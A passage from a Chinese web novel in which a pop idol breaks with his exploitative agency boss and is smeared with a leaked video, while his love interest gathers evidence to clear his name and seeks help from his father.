“是分成不满意吗?风风,公司有公司的难处,你的工作不只是你一个人,而是一个团队,这一点你应该明白。” “当然,你现在身价不一样了,我知道,合约的问题我们还可以谈。 ” “不过听小郁说你一直对这件事不太积极,”赵成良放下茶杯,语气听起来像是屈尊降贵,“所以今天,我特意亲自来找你谈谈。” 虽然微博上的讨论已经乌烟瘴气,但是对赵成良来说,这反而是个好机会。 挂在上面的是季沨,被动的也就成了季沨,他完全可以利用这个将合约再往下压压价,谁不知道这种时候时间才是最重要,季沨要想让工作室替他发声,就必须乖乖签下合约。 “我们还是得把这件事先定下来,”赵成良笑起来像个老道的狐狸,“让大家都安下心,这样才好去做其他的事情,对吧?” “公司很看重你,风风,你现在正是上升期,只有待在公司才能有最大的发展。” “之前杨导的戏不就小郁帮你接下来的,”他循循善诱,“听说你试个戏把老杨都快气死了。” “你看看你这个脾气,除了这里,谁还能给你这么好的资源。” “良禽择木而栖,”赵成良觉得自己颇有诚意,甚至主动给季沨添了杯水,“这个道理,你不会不明白吧?” “我当然明白啊。” 季沨笑了,懒洋洋向后一靠:“赵哥,你说我演技差劲业务不行只能靠着公司炒作可以直接说的,没必要说什么脾气不脾气的,其实我脾气挺好的。” 赵成良瞳孔一缩。 他没想到季沨会这么说话,这个语气可不像是要好好谈事情。 “风风,话也没必要这么说吧,”赵成良皮笑肉不笑,“能力差不差的,现在只要妆造做得好,谁还能看出来啊,就你这个脸,天天发照片都有人看啊,过两天我再给你请个好点的舞蹈老师咱们学几个动作,你放心,绝对没问题的。” “那倒不用。” 季沨说:“公司这两年好像也没有让我去好好磨炼专业能力的意思,不是哪有钱往哪个节目送吗,这个时候突然让我学了,我怕我收不起这个客气。” “而且……难道不正是因为我演技差又脾气不好,才让赵哥您觉得好拿捏吗?” “季沨!”赵成良脸上的表情当场变了,“你这话是什么意思?” “没什么意思,就是我刚才说的那句话。” 季沨轻描淡写,手中转着赵成良递来的杯子,比起对面已经在愠怒边缘的赵成良,他才更像是个喜怒不形于色的总裁:“我的合约到期了,不想再续,跟公司求一个好聚好散。” “好聚好散,季沨?”赵成良勃然大怒,“你别忘了两年前Buttland解散,你是怎么跟我和郁容说的!要不是我帮你摆平了那件事,你以为你现在能好好地坐在这里跟我谈什么好聚好散!” “是,”季沨说,“我是很感谢您和郁哥,也谢谢公司这两年对我的栽培,所以不管您让我接什么我都去了,我这几年给公司带来的利益帮您完成了对赌,自认为我们之间,应该算是两清了?” “两清?!你现在跟我说两清!当初接杨阶这部戏的时候怎么不两清!把那么多时尚资源代言综艺砸给的时候怎么不说两清?” 如果早知道季沨今天会是这样的做派,赵成良当初根本就不会把《帝台春》的资源给他,这种转型的大戏当然要留着放在签约条款里作为条件之一,之所以能这么放心,第一是因为杨阶开机得太早,第二,则是赵成良从一开始就觉得,季沨绝对不会敢离开公司。 “你接了其他公司的邀约了对不对!” 赵良成歇斯底里:“你可别忘了我们是在什么地方碰上的,季沨!” “现在网上的这些只能说是小打小闹,但是那个视频放出去,你可就是钉死了。” 季沨冷笑了一声:“但是您比谁都知道,那分明什么都没有发生,不是吗?” “是,”是恰好路过的赵成良和郁容,救了他,“但是那又怎么样?” “现在这个环境,真和假有人在乎吗?” “我说过了,你只有继续待在星图,你才是永远的顶流,你想攀高枝也好,想跳槽也好,但凡出了这个门,你就一定会身败名裂。” “到时候别说是现在的身价,违约金你都赔不起,”赵成良恶狠狠道,“你自己想清楚了,季沨。” “我觉得我想得很清楚。” 季沨嗤笑了一声,抬手理理袖口,那是一个和节目上一模一样的,开始反击时的标准动作: “想得不清楚的应该是您才对,赵哥。” “我也好,我的团队也好,在你的眼中不都只是赚钱的工具吗?”季沨淡淡道,“嘉嘉的腿伤到底是怎么恶化的,除了宁辛,你让我们一个月出席二十多场活动也有不少功劳吧?” “我之前因为胃溃疡住院的时候,是你亲自给我打电话让我拔了针去拍广告,当时没因为低血糖从威压上摔下来是我命大,不过仅仅是过了一天,你就让我飞到伦敦去给你好友的画展站台了。” “当初没听你把我们当个人,”季沨冷冷地笑了一声,“现在开始讲公司有多好,未免也太虚伪了吧,你是觉得我现在还能幼稚到听一个资本家给一个工具画饼吗?” “季沨!” “不用这么生气,赵哥,”季沨道,“事实上你在意的这些我一点也不在乎。” “当初我就说过,我进这个圈子只是为了给我妈赚点医药费,现在我妈都死了,你觉得这些还能威胁到我吗?” “你可以随便发,”季沨两手一摊,那是一个洒脱的,推翻牌桌的动作—— “我无所谓的。” “季沨!你不要以为我不敢。” “我没说过你不敢啊,我说的是我不在乎,合同到期之后双方不续就默认解约,”季沨理理袖口,轻飘飘道,“所以,今天不是你来找我续约,而是我来通知你解除合同。” “再见,赵总,祝你签到一个新的,好用的,听话的工具。” “不过我觉得那应该也比较困难,” 季沨说着站起身,阳光让他看起来像是画报封面的模特,嫣然一笑,“因为——” “这个圈子里,长得跟我一样光是站着就能让你卖专辑的人,也没几个吧?” * “你自己说!你自己说他这到底是什么意思!” 季沨刚出门,赵成良便气得将桌上的所有东西都给拂在地上,送礼得来的昂贵银针成了地上的一滩污水,连那把昂贵的紫砂壶一起碎裂:“跟工作室说,那些通稿一个也不许发!” “找个人把那个视频给我放出去,现在!马上!” “赵总您消消气消消气,”郁容赶紧又找了个新的杯子冲了一杯递给他,“风风他也是年轻冲动,等他想明白了自然会知道哪里是最好的。” “他可不冲动,”赵成良眼眸中发出精锐的光,“你觉得他刚刚说的话是冲动吗?” 做到他这个位置的人都受不了忤逆,尤其是之前一直被自己当作工具的人,赵成良冷漠道:“我不管有哪个公司联系过他,但是我赵成良得不到的东西,我要他在别人那里也是个废品。” “把那个东西发出去,郁容,你应该知道怎么做吧?” * “季沨。” 季沨正要踏出公司,扭头便看到追上来的郁容。 他看起来风尘仆仆,应该是已经和赵成良争论过一轮了。 季沨脚步一停,郁容便朝他踏了一步,公司的内门旁种了两棵很大的棕榈,他们一个在门里,一个在门外。 两年前这两棵树其实还没有这么高,但他们也是在这个位置,那时候季沨团队解散身份尴尬,身上连一个能看的资源和代言都没有,郁容第一次领着他进公司总部,跟季沨说他有这张脸,有朝一日,一定能把他捧到顶流的位置。 结果季沨只用了两年就做到了,很多时候他的成绩都超乎郁容这个经纪人的预料,他望着季沨经过两年沉淀反而更加明艳夺目的脸:“你刚刚说的话,是真心的吗?” “你觉得呢,郁哥?” 他叫赵成良赵总,却还愿意叫他一句郁哥,便是熟稔的意思。 正是因为他们足够熟悉,郁容才知道,季沨刚刚冲着赵成良说的那番话,没有一个字是赌气。 更何况,季沨有什么时候因为赌气做过什么事呢? “就真的不能再考虑一下?”郁容试图劝他:“如果你是因为赵总让你接的那些节目,以后我会尽量少……” “不是因为那些。” 季沨说:“谢谢郁哥这两年的照顾了。”比起赵成良,这句倒是真心实意的,“是我自己的原因。” “你有什么原因?” “不知道,”季沨笑了笑,“但是我几乎可以想到继续留在公司的生活,没完没了地重复各种综艺,典礼,代言,没有一点休息的时间,也没有任何可以再提高的机会,炒CP要拆,不可以谈恋爱,就算是结了婚也要隐瞒,直到榨干最后一点价值为止。” “可能……只是不想过这样的生活了吧。” “那你想过什么样的生活呢?”郁容皱起眉。 季沨说的这些,是每一个上升期的流量都要做的事情,更何况他才25岁。 “你应该明白,一个明星的花期只有那么久,大家都几年赚够一辈子的钱,而且你现在正是黄金期,”郁容道,“你今天要是真的走了,赵成良那样的人,他是真的会让你身败名裂的,你知不知道?” “没关系。” 季沨回眸笑了下:“我说了不在乎就是真的不在乎,这么多年的片酬应该也够我赔违约金了。” “那你自己呢?” “我?”季沨想了想,“可能只是找个四季都有风的地方,吃饭,散步,开车看日出?” “又或者……” 季沨偏头想了一下,长发垂在肩头:“谈个恋爱?” “仔细想想,这样的日子好像也不错吧。” 郁容望向他,忽然就说不出话来了。 季沨是他手里带出来的,可以说是最优秀的一个。 曾经也有多少次,为了拍戏熬夜住院赶通稿,也曾经为了应付风波整整40个小时没有睡过觉。 如果他现在告诉自己想要的仅此而已,那么之前他们努力那么久,又是在做什么? 既然不在乎,这么费力站到这么高的位置是为了什么呢? “回去吧郁哥,”但是季沨看起来好似真的不太在乎,“不用为了我得罪赵成良,他让你做什么你做就是,真到了那一步……我也不会怪你的。” 说完这话,季沨才抬眸看了一眼自己待了五年的公司。 赵成良觉得季沨现在的成绩是靠公司砸出的资源,郁容觉得季沨是靠努力。 但其实都不是,有资源又努力也不少,但是真正出头的却还是寥寥。 他是靠运气。 从他种了基因彩票拿了这张脸开始就是运气,后面不过是一次一次博弈赢来的筹码。 要么盆满钵满,要么一无所有。 赵成良和郁容可能永远也不会知道,从季沨两年前自那个房间里跑出来,抓着他说救命的时候,他就已经想到了今天的结局。 “不用这个表情,我又不是死了,”季沨勾起唇角,伸手在郁容肩上拍了拍,“如果运气好一点的话,说不定……以后还有很多机会再见面呢。” “哦对了,”季沨又道,“有件事还需要麻烦你。” “什么?” “如果有人找到你这里,告诉他我一切都好,不用担心。” “工作室都要没了,”郁容道,“还有谁会来这里找你。” 季沨笑笑没说话,只是挥挥手:“再见,郁哥。” 说完这话,他便转过身,头也不回地离开了这个待了五年的地方。 季沨没有再往后看一眼。 开弓没有回头箭,既然已经抛出了所有筹码,那就不能回头。 * 那些热搜洋洋洒洒待了一整天,话题讨论度屡创新高,几乎连各种不关注娱乐圈的大v都开始下场讨论。 这原本并不难澄清,可季沨永远反应迅速鼎鼎有名的工作室依然没有任何动静。 就在粉丝们快要冲破总部大楼的门时,当天晚上,有个爆料博主突然放出了一段视频:“现在知道资源是怎么来的了吧。” tag上带了季沨的各种话题。 而他爆出的那段视频里,季沨穿着戏服踏进了一间酒店,片刻后,华世文娱的副总刘庚跟着进了门。 昏暗的走廊里房门紧闭,足足过了两个小时,季沨才重新从那间酒店里踏出来。 身上的戏服不见了,发丝和衣服都是乱的,领口露出的脖颈上,放大了还能看到些许暧昧的红痕。 不用任何说明解释,每个熟知娱乐圈的人都能猜到大概发现了什么。 更何况,刘庚是当年季沨手中两部戏爆款戏《天欲雪》和《盛夏不知春》的监制。 这段视频刚出来话题就爆了,#季沨潜规则# #季沨旱路#挨个冲到了热一热二。 在粉丝炸了工作室之前,季沨所在公司星图突然发出二者合同到期解除合约的公告,声明季沨从此的一切行为不再与公司有关。 这个消息实在像是背后的资本已经放弃了这个玩物,这下连各种观望的大v也跟着一起下场,关于娱乐圈资源换取的话题到处引爆,时隔两年,季沨再一次创造了空前绝后的热度,甚至比两年前那场还要翻了好几倍。 从话题度上来说,他确实在某种程度上实现了国民级。 只不过,全是负面。 微博粉丝涨涨掉掉,下面的评论区已经完全不能看,如果说昨天还只是小打小闹,今天几乎各个对家都下了场,不断为热度添砖加瓦,等着从陨落的顶流上分出一块肉来。 然而处在风口浪尖上的季沨本人,依然没有任何表示。 吃瓜看戏等着墙倒众人推的是大多数,这个世界上比他的死忠粉还要着急的人应该只有一个。 “陆老师,”设计师发来信息,“你要的那件俊美中带着一丝蛊惑,妖艳中带着两抹清纯,浪荡中带着三分肆意的衣服已经做好啦,你什么时候有空过来看看成品呢?” “哦,对了,你之前说了是要送人对吧,那这次是你们一起过来吗?” “终于可以见到他本人了,我们工作室的人都很期待呢!” 陆屿洲握着手机,给季沨打的第三十四个电话依然无人接听。 时至今日他终于开始后悔,后悔曾经的退缩和犹疑,他攒了很多话想对季沨说,想抱他想亲他想说喜欢他,虽然现在已经无济于事。 失眠的第三个夜晚。 陆屿洲还是没有联系上季沨。 “我……”陆屿洲坐在空荡荡的房间里,投影仪播放的是之前下好季沨的各种物料,他抬眸,目光缱绻地望着屏幕中央的那个人,轻声道: “我也很想他。” 第47章 第四十七章 陆屿洲回忆起很多事。 比如跟季沨第一次的相遇, 他递过来的酒。 比如他第二天起床之后,在床上看到的那人痕迹遍布的睡颜。 青紫的吻痕散落在雪白的胸膛上,那张脸是头一天晚上打算出现在画布上的, 可是现在,却污脏在自己的手心。 那一刻, 陆屿洲分明听到了自己胸腔处传来的颤动。 比如季沨睁开眼睛,跟他说:“既然大家昨晚都挺爽的, 不然以后也一起?” 陆屿洲点了点头。 比如在休息室里, 季沨戴着他的系好的领带和玩具, 跟他说:“我们结束吧。” 陆屿洲放他离开。 比如在别墅里,季沨望着他的眼睛, 对他说:“这个世界上, 应该也不止炮/友这一种关系吧?” 陆屿洲沉默了下来。 但那个时候其实并不该不开口的, 其实不该放他离开的,其实不该沉默的。 跟他说喜欢你,见到你的第一面就忍不住会被吸引,跟你一起醒来的那个早上其实很开心, 听到你说只是床伴心中其实有失落, 根本就戒不掉你的瘾,不想跟你做炮.友也不想跟你做朋友。 我喜欢你。 我喜欢你。 讲出来也不过四个字,也不过一句话, 有那么难吗? 如果早一点告诉他,拒不拒绝又能如何呢, 初禾说得对, 季沨这种人就算是拒绝也会很温柔。 只要稍稍撒一点娇表露一点委屈, 他还是会让自己靠近。 反正,他们还有那么长的时间。 他们原本还有那么长的时间。 而不是像现在, 只能等在这里反反复复地看之前的那些聊天记录,不愿意去搜网上的讯息,担心季沨看到那些会伤心,担心他现在没有人陪着,担心他无法应对。 更担心……找不到他。 他不知道季沨的电话不知道他的家不知道他的好友也不知道季沨离开了公司会去哪。 早该察觉的,季沨这个人物欲其实一点也不重,没有家人 ,四季都能有风停留的风小城又那么多。 只需要换一个手机,就没有人联系到他了。 像一阵绕过掌心的风。 陆屿洲握紧手中的领带,鼻尖嗅着他的传来的一点清淡香气,才终于明白,为什么这款香水会叫做过境。 失去的恐慌让他不自觉蜷紧身体,心脏好像是后知后觉地被掏空了一大块,几乎是机械地翻着手机。 点着点着,就点到了之前跟加进去的粉丝群。 “怎么办啊,怎么办,星图这个阴险批,现在这种时候把我们风风抛下! 这不是把他自己往刀尖上送吗?” “星图就是这么想的呗,好了一句合约已经到期直接和风风划清界限,估计品牌方问责全推给风风一个人挡,他妈的当初风风的代言费你别吞走一大半啊!” “对啊,就算是真的解约,也不能现在放出来啊,这跟昭告天下季沨没有后台了随便欺负有什么区别,太贱了好歹是给他们赚了五年的钱反手就这么背刺。” “话说……那个视频,你们真的不在意吗?万一上面说的是真的呢?” “?怎么这个时候还能进新粉啊,你是真的一点都不了解风风吗?” “就是,他曾经直接采访开麦说自己最烦潜规则,这些风风过来有多不容易我们都知道,他爆火本来就是因为机场那件事,跟潜规则有什么关系,哪个老总能这么天才给他出机场出柜的主意啊。” “对啊,而且刘庚那两部戏分明是风风自己试戏拿下来的,那时候他刚从爱豆转演员,大家还夸他演技好来着,我还看过当初流出的试戏妆造呢。” “现在已经找不到了,摆明了是有人要搞风风,怎么可能还会把这些东西留着让你翻案。” “唉,要是有当初的试戏视频就好了,起码还能帮他解释一下。” “别想了,这个事情都是剧组保密合同里的吧,怎么可能会给我们看,谁有渠道能弄到。” 粉丝们唉声叹气,话题正要过去,群里突然跳出来一句: 【陆屿洲_132789 】:“我有。” 众人一愣,才发现是当初将自己代入陆屿洲视角的奇怪毒唯发了言:“富婆姐姐,你怎么还没睡呢?” “我有,”陆屿洲坐起身来,根本没顾得上现在的时间,“还有其他的吗?能够帮他解释的,都告诉我。” * 晚上十点,“陌路”Club正是上人的时候。 门口洋洋洒洒站了不少人,如果不是这个酒吧需要会员制加预约,估计他们早已经将里面围得挤都挤不进去了。 当然,这里的人喝酒的其实是很少数,大部分都是知道这个酒吧是曾经季沨的队友阮嘉开的,所以费尽心思地想要从老板嘴里套出一点话,就算是进不去,万一能拍到季沨进去,那岂不是也是赚大发了。 所有人都伸长了脖子往里望,于是没有人注意到,一个戴着口罩,身材修长的人,绕过人群,进了对面的“相逢”Live. “呼,”阮嘉摘下口罩,长长地舒了口气,“还好能在这里躲一会儿,这两天真是快憋死我了。” 他长长地感叹了一声,这才望向对面的陆屿洲:“说吧,找我什么事儿?” 现在的陆屿洲跟之前那个总是在节目里光鲜亮丽的超模一点也不像,发型没有整,西装也没有配袖口和领针,眼下是一圈青黑,眼底血丝遍布。 以至于连不熟的阮嘉都皱了下眉:“你这是……几天没睡了?” 可惜陆屿洲压根没有要跟他闲聊的意思,几乎是一上来就急切问道:“我来找你,是有事情想要问你,关于季沨的。” “我哥?”阮嘉目光警惕,但是不知为何又觉得陆屿洲应该和外面那些吃人血馒头的不太一样,于是又多问了一句,“你要问什么?” 陆屿洲将之前江沼拍的那段视频推给他。 阮嘉只是扫了一眼便知道他想说什么:“这有什么好奇怪的。” “我哥不是这两年才到这个水平的。”阮嘉说,“这些他本来就会。” 陆屿洲唰地抬起了眼睛。 “当初还是练习生的时候公司内测他本来就是第一,”阮嘉目光微微侧过脸,“是哥把舞担的机会……让给了我。” “你说什么?他为什么要……” “为什么要这么做吗?我也这么问过他。” 阮嘉笑了笑,手中转动着酒杯: “可能是因为当初新生训练的时候,他走到他身边叫了句哥哥。” “又或者是因为,我在自我介绍的时候说学跳舞是我妈妈的遗愿。” “我妈现在也在医院住院,当初走投无路的时候,有人帮过我,”尚且二十一岁的季沨笑容中还带着些青涩的温柔,“可惜后来我就没见过他了,所以现在,我帮你,就当是也替他攒一点幸运。” “而且……你有时候,跟他有一点像。” 时至今日阮嘉依然能回忆起季沨的那个笑,温和得好似一片月光。 “他把团队的舞担让给了我,自己去做了队长,”阮嘉继续道,“从那之后,编舞里出彩的部分,他都会让给我。” “他说自己是因为自己事情太多不想练,但其实我知道,他是想把红的机会给我。” “于是我就拼命地练拼命地练,一开始确实是为了我妈,但是后来可能单纯地觉得想带着团里一起火给他看看吧。” “可惜我可能天生就没有这个命,”阮嘉抿了口酒,“不仅没能火,还把腿给练坏了。” “团队一天也不如一天,光靠哥一个人的脸也带不动十个人,有这个资源还不如节省开支砸到他一个人的身上,是我跟公司提的解散。” 陆屿洲手指攥紧:“他那时候……怎么样?” “哥……他倒也不是很在意这个吧,其实他对团队更多的只是一种责任,”阮嘉想了想,提起这个,他倒是没有陆屿洲预想中的伤心怀念,只是道,“后来他妈妈去世,是我陪他参加的葬礼,哥那个时候挺看得开的,他说他进这个圈子本来就是为了给阿姨转医药费,现在正好,不用这么累了。” “他还说要跟我一起出来开酒吧,连地方都挑好了,他很喜欢,就是这……” “就是这很可惜,”阮嘉猛地看见酒架上放着的高度酒,声音戛然而止,火速转了一个话题:“愿望好像也并没有实现,那之后,他还是踏进了这个圈子。” 两年前,正是季沨拍《天欲雪》和《盛夏不知春》,那之后又发生刘庚那样的事情。 按理说如果季沨真的像阮嘉说的那样对这个圈子没什么兴趣,他跟刘庚闹翻之后,拿了片酬去过自己的日子也就算了,为什么后来又跟了郁容和赵成良,辛辛苦苦地进星图? 陆屿洲指尖扣在桌面上:“为什么?” “那我就不知道了,”阮嘉摇摇头,抬眸望着陆屿洲面上一点也不掩饰的担忧,忍不住笑了笑,“不过哥要是真的做个酒吧老板,你今天也不会认识他吧。” “所以说,也是种缘分。” “那你呢,”阮嘉耸了耸肩,“找我过来干什么,不会只是问一点往事吧?” “是有一点事想要你帮忙的。” 陆屿洲这才从思绪中回过神:“你有季沨之前练习生时候的舞蹈视频吗,能不能发我一份?” “有是有,”阮嘉抬头看他,“不过你要这个干什么?” “网上的那些讯息……”陆屿洲轻轻地抚了下手上的腕表,“我不想他因为这个不开心。” “我知道那些是有人在蓄意污蔑他,如果可以,我想帮他解决这件事情。” “你?”阮嘉望了他一眼,如果郁容来说这话,好歹是经纪人,如果是阮嘉,毕竟是队友,但是陆屿洲…… “什么身份呢?” “我喜欢他。” 陆屿洲开口道。 他的语气没有任何的犹疑和回避:“我从前明白得太晚,觉得什么关系的界限都要清清楚楚的。” “现在想想,这其实根本就控制不住。” “虽然有些越界,但是……我喜欢他,不管他同不同意,也不管他会不会因此厌烦,都没有办法看着有人这么诋毁他。” 陆屿洲从前有过很多说这句话的机会,但是全都被他浪费了,现下总觉得要多说一些才能弥补似的:“所以,如果有的话,能麻烦你给你我一份吗?” “如果有其他的视频和资料也可以发给我,”他的目光诚挚恳切,“我不太知道季沨以前的是什么样子,以前总怕自己陷得太深所以不敢问也不敢看,现在却总想要多了解一点。” 阮嘉望着他那琥珀色的眼睛,想起当初在隔壁的“陌路”,季沨见到这个人躲进包间,却又拍了一张一模一样的酒。 当时他说不是时候,那现在呢…… 现在,他看着陆屿洲长睫低垂,有些自嘲地勾了勾唇角:“起码……如果他以后真的不出现在这个圈子的话,都要去哪找他吧?” “你……”他的神态是连阮嘉这个陌生人都有些不忍的,“你也不用太担心。” “哥这个人从出道开始就腥风血雨的,他早就习惯了,应该不至于受到多大影响。” “视频和资料我会发给你的,包括之前团里拍的一些vlog什么的。” “倒是你自己……”阮嘉看了眼他眼下的青黑,“你还是快点回家睡觉吧,都几天没休息了?” 陆屿洲其实不是故意要熬夜。 他只是睡不着。 一开始是因为激动,后来是因为补季沨之前的视频,再后来是因为担心。 他跟季沨之间的联系太过浅薄,怎么也不放心,好像一松手就会消失一样。 更何况网上发生这样的事,陆屿洲怎么可能放心入睡。 “谢谢你,”陆屿洲说,“资料我会好好看的。” 他并没有说要不要回去,想来也是,陆屿洲这人看着淡淡的,但其实主意大得很,不然当初也不会在巴黎待得好好的说回国就回国。 简直跟挂在热搜上那位一个脾气。 阮嘉无声地叹了口气,原本都戴上口罩打算离开了,忽然又回过头,目光在周围闪烁的LOGO灯牌上望了一眼,脚步一退:“你有没有觉得这个Live的名字其实还挺好听的?” 陆屿洲目光在周围的“相逢”二字上一晃,不明所以地望了他一眼。 “所以不用担心,”阮嘉朝他笑了笑,“应该……会找到的。” 虽然阮嘉这么说,陆屿洲却并没有往心里去。 他只以为这是客套的说法,一个人坐在角落的卡座戴着口罩,原本精致到一丝不苟的头发凌乱,连眼下也是青黑,估计骨灰粉来了都认不出。 于是陆屿洲放心地拿出平板观看阮嘉发来的视频,整理着网上的评论和话题,跟联系好的公关团队协议方案,顺便给江沼发消息让他明天起床后看。 指针一分一秒地过去,他腕上的手表是季沨离开那天送的,于是陆屿洲才纡尊降贵地看了一眼。 时针已经快要到正中央了。 然而Live里的生活似乎才刚刚开始,之前演出的乐队正在调试着设备,陆屿洲戴上耳机,打算把手中的资料看完。 “先生?先生?” 桌面突然被人敲了敲,侍应生端着一杯酒放在他的桌前:“先生,那边有位先生送了您一杯酒。” 这种酒吧搭讪陆屿洲见得太多,还以为是自己不小心被人看到,正要收拾东西离开:“不用了,我来结账就行,替我谢谢他。” “那人还让我给你带了一句话,”侍应生却没有立刻离开,而是重复道—— “今天的领带很好看,陆老师。” 陆屿洲下意识垂眸看了眼自己领口上系着的季沨的领带,猛地抬起头来,膝盖撞到桌角,刚刚开着的pad啪的一声合上:“他人呢?!” “他……” 侍应生的话还没有说完,陆屿洲几乎是快步走到他指向的位置,靠窗的角落里空空荡荡,但是空气里似乎还萦绕着一点,陆屿洲这些天反复闻过的,过境的香气。 “你找我们老板啊?” 有人抱着吉他跳下来,在陆屿洲追出门前的时候挡了下:“别找了,他已经走了。” 陆屿洲抬眸望了眼,是那天Live里的主唱隋易。 “不用这么看着我,”隋易耸耸肩,“我也不知道他在哪。” “不过他让我见到你的时候告诉你一句话——” “之前说过的话依然算数,所以,不用担心。” “喏,”隋易说着把之前侍应生端的那杯酒递过来,“着什么急,酒都要洒了。” “喝了它,睡一觉,说不定明天事情会出现转机呢?” 隋易笑笑,将酒递到陆屿洲手里:“这可是我们老板亲自调的。” 听到这句话,陆屿洲这才垂眸望向手中的酒杯,透明的杯子里,一点蓝白如同月色下闪着微光的湖泊,只是看一眼,便让人觉得澄澈安静。 这杯酒和他之前收到的都不太一样,陆屿洲问:“他有说……这个酒叫什么名字吗?” “哦,它的名字很好听,叫——” “Have a good night.” “晚安,陆老师。” 一瞬间,陆屿洲好似听到季沨在自己的耳边如此轻声说。 紧绷的神经似乎真的在这一刻稍稍松懈了些,陆屿洲停住脚步,后知后觉地发现某个用词上的问题:“老板?” “对啊,”隋易点点头,“季沨是我们老板。” 他望着陆屿洲的神色:“不会吧,季沨不会没有告诉你吧?” “两年前,就是他买下这家酒吧改成Live签了我们啊。” 两年前? 陆屿洲敏锐地发觉这个时间点:“是几月?” “他买下这间酒吧的时候,是几月?” “好像是……六月。” 托这些天恶补资料的福,陆屿洲几乎在隋易报出时间点的时候就推导出了所有事件的因果—— 两年前,季沨的母亲去世,Buttland宣布解散,季沨新剧遭监制刘庚恶意剪辑,他跟阮嘉说自己打算离开娱乐圈,于是花了所有积蓄买下这间酒吧。 可是同年七月,他便从原本的经纪人转到郁容手下,跟赵成良重新签了合同,当着众人的面在机场出了柜,事业扶摇直上,仅仅用两年的时间,便把自己送上了顶流的位置。 心脏好似要冲破胸膛,似乎有什么正要呼之欲出,陆屿洲站在遥遥灯火里回望整间Live,以及招牌上闪烁着的两个大字—— “相逢” 第48章 第四十八章 “我去!” 江沼醒来后才看到消息, 直接一把从床上坐了起来:“你从哪把这些东西搜罗出来的,这才一天啊!” 早上八点,按理陆屿洲那五点起床的作息, 应该早就严阵以待了,但是他今天却破天荒地隔了好一会儿才回复, 刚睡醒的嗓子甚至有点哑:“嗯,刚找到。” “谢天谢地你终于睡觉了, ”江沼暗叹一声, 从视频里看了现在的陆屿洲一眼, “你怎么睡个觉还戴着表啊?” 陆屿洲轻抚了下腕上的玫瑰金表盘,眼睫低垂:“戴着比较安心。” 但是现在季沨的事比较重要, 陆屿洲连恋爱故事都顾不上分享, 急着问:“这些够了吗?” “是差不多, 可……” “我去帮他发,”陆屿洲的行动力很强,江沼的话还没说完,他就已经要站起身, “你看一下文案可以吗?” “停停停停!”江沼匪夷所思, “你帮他发?用你大号?你疯了吧?你俩现在什么关系啊?” “我会跟人解释清楚,”陆屿洲说,“是我喜欢他。” “是, 所以呢?” “所以……” 所以想让他看见,所以想让他知道, 季沨听不到那就说给所有人听, 好似只有这样才能稍稍缓解内心的焦躁。 “我求求你了, 你可别冲动!” 江沼立刻打断他:“你真是不太了解内娱啊,你亲自发, 他们非但不会觉得是真的,反而坐实了季沨真的是靠男人上位这件事。” “你别忘了,你现在除了CP,还是季沨片子的监制,再加上你俩的粉丝,这个圈子多少因为官宣翻车掉粉的,你以为你想表白,大家就真的会祝福真爱吗?” “你也不想想,两年前那个刘庚不就是……”提起这件事,江沼的声音突然变得很小声,毕竟陆屿洲跟季沨还在暧昧期,他欲言又止,“那个……” “潜规则?” 江沼没想到陆屿洲居然真的就这么说了出来:“我会想办法帮他澄清。” 他的语气笃定,以至于江沼下意识问了一句:“你怎么知道一定是澄清?” “为什么不是澄清?” 陆屿洲抬眸地看了他一眼。 想起自己看到资料上刘庚脑满肠肥的样子,再看看自己T恤盖住的人鱼线和垂在沙发上的长腿。 论颜值、身材、财力,自己哪一个不比刘庚强? 他这个时候倒不自卑了,只是愤愤地想,季沨连他都能说断就断,说不理就不理,留下杯酒就玩消失,怎么可能看得上刘庚那种人? 更何况……季沨的戏还被人恶意剪辑过。 或许那句“不跟资方上床”是真的有道理,可是陆屿洲不知道季沨到底经历过什么,只能从众人的只言片语中拼凑结果,只能一遍一遍地思考季沨可能去到的地方,只能被动地等待和无望的诉说。 这样的感觉让陆屿洲感到焦躁,感到委屈,如果这就是初禾说得喜欢的话。 那他此刻真的无比确信,陆屿洲真是爱惨了季沨了。 可惜能够聆听这些话的主人不在,陆屿洲只在季沨一个人面前委屈示弱,其他时候都有一种远超于年龄的成熟镇定:“刘庚的事情,我会解决。” “你怎么解决?”江沼说,“刘庚这两年刚进了董事会,更何况他演协那边还有人,演员说白了就是消耗品,谁有钱谁才能说话,季沨又在这个时候跟公司解约,胳膊到底拧不过大腿啊。” “人家要是真的想搞他,光这件事,封杀都有可能。” “你就更别说了,你自己都刚回国。” “没关系,”陆屿洲垂眸看到旁边的领带,手指缱绻地碰了碰,轻声道,“我会解决的。” 跟江沼挂了电话,陆屿洲便拿起手机又拨了另一个。 数字并不是1开头,前面加了乱七八糟很多号码,陆屿洲一连拨了三次才接通,还好他因为这几天给季沨打多了电话,已经足够有耐心。 “喂……我在……这……”那边似乎是信号不好,声音断断续续,一连等了一分钟,才听到一句完整的话,男人的声音听起来很年轻,甚至有些过于官方,“‘丛林极限探索队’欢迎您一起观测人类与自然的边界,请问你是?” “陆屿洲。” “陆屿洲是谁?”耳边刺啦一声,那人似乎还在看见了什么,随即大喊,“多鳞阿诺蜥,刚刚是不是多鳞阿诺蜥!今天是它第一次出现在人类生活区,快快快快拍照!” 听筒那边一阵兵荒马乱的拍照声,隔了许久,电话才被重新接起来:“啊,你还在啊,你刚刚说你是哪个科考队来着?” “你儿子。”那边冷冷地重复。 “谁?”那人似乎是现在才想起来看了一眼来电显示,“不好意思不好意思,半年没联系了,你这名字倒是挺好听的,谁给你取的啊哈哈哈哈哈。” “你取的。” “是吗,那我可真有文化。”陆程易似乎丝毫不觉得愧疚,“怎么,你联系老爸是终于觉得猴面包树也不错了吗?对的,人类就是要待在自然才会复苏属于人的本性,才能了解自我,明白自我其实是……” 陆屿洲握紧手机,大学的时候,他还会因为陆程易第一次问他的名字时候就生气地挂断电话,但是现在……也许是因为已经有了可以聆听的对象,陆屿洲几乎是平静地听着陆程易说完,才道:“我有事想要请你帮忙。” “陈叔现在是在国外办事吗,你让他回来一趟。” “老陈?他这人做事就跟这里的毒蛇一样脏,你找他……”陆程易的声音知道这时才终于有些严肃的意思,试探道,“被人欺负了?” 陆屿洲把事情重复了一遍。 “所以……”陆程易说,“你喜欢那孩子?” “嗯。” “天哪,你居然已经要结婚了!”也不知道他是怎么从一句喜欢推到结婚的,陆程易现在连蜥蜴都顾不上了,盘起腿来问道,“你们什么时候办婚礼,我抓蜥蜴给你们当宠物。” “我,”陆屿洲轻轻地咳了一声,“我还没有,没有表白。” “不是吧?你都为了人家求到我这儿了还没有表白,”陆程易啧啧称奇,“你真的是我跟你妈亲生的吗,我俩当初见第一面就上床了。” 陆屿洲:“我俩见第一面也……” “什么?” 